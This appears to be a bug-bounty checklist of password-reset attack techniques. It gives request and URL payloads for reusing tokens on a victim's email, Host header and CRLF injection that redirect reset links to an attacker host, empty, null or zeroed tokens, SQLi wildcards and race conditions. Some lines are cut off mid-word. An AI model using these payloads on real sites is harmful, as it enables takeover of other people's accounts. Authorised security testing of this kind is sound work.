🚨Reset Password Checklist🚨

[ ] a lot of ideas in this article by **omer hesham**

```
https://medium.com/bugbountywriteup/hubspot-full-account-takeover-in-bug-bounty-4e2047914ab5
```

[ ] Use Your Token on Victims Email

```
POST /reset
...
...
email=victim@gmail.com&token=$YOUR-TOKEN$
```

[ ] Host Header Injection

```
POST /reset
Host: attacker.com
...
email=victim@gmail.com
```

[ ] HTML injection in Host Header

```
POST /reset
Host: attacker">.com
...
email=victim@gmail.com
```

[ ] Leakage of Password reset in Referer Header

```
Referrer: https://website.com/reset?token=1234
```

[ ] Using Companies Email

```
While inviting users into your account/organization, you can also try inviting company emails and
new field "password": "example123". or "pass": "example123" in the request. you may end up resett
user password

Company emails can be found on target's GitHub Repos members or you can check on http://hunter.io
have a feature to set a password for invited emails, so here we can try adding a pass parameter.

If successful, we can use those credentials to login into the account, SSO integrations, support
etc #BugBountyTips
```

[ ] CRLF in URL

```
with CLRF: /resetPassword?0a%0dHost:atracker.tld (x-host, true-client-ip, x-forwarded...)
```

[ ] HTML injection in Email

```
HTML injection in email via parameters, cookie, etc > inject image > leak the  token
```

[ ] Remove token

```
http://example.com/reset?eamil=victims@gmail.com&token=
```

[ ] Change it to 0000

```
http://example.com/reset?eamil=victims@gmail.com&token=0000000000
```

[ ] Use Null Value

```
http://example.com/reset?eamil=victims@gmail.com&token=Null/nil
```

[ ] try an array of old tokens

```
http://example.com/reset?eamil=victims@gmail.com&token=[oldtoken1,oldtoken2]
```

[ ] SQLi bypass

```
try sqli bypass and wildcard or, %, *
```

[ ] Request Method / Content Type

```
change request method (get, put, post etc) and/or content type (xml<>json)
```

[ ] Response Manipulation

```
Replace bad response and replace with good one
```

[ ] Massive Token

```
http://example.com/reset?eamil=victims@gmail.com&token=1000000 long string
```

[ ] Crossdomain Token Usage

```
If a program has multiple domains using same underlying reset mechanism, reset token generated fr
works in another domain too.
```

[ ] Leaking Reset Token in Response Body
[ ] change 1 char at the begin/end to see if the token is evaluated
[ ] use unicode char jutzu to spoof email address
[ ] look for race conditions
[ ] try to register the same mail with different TLD (.eu,.net etc)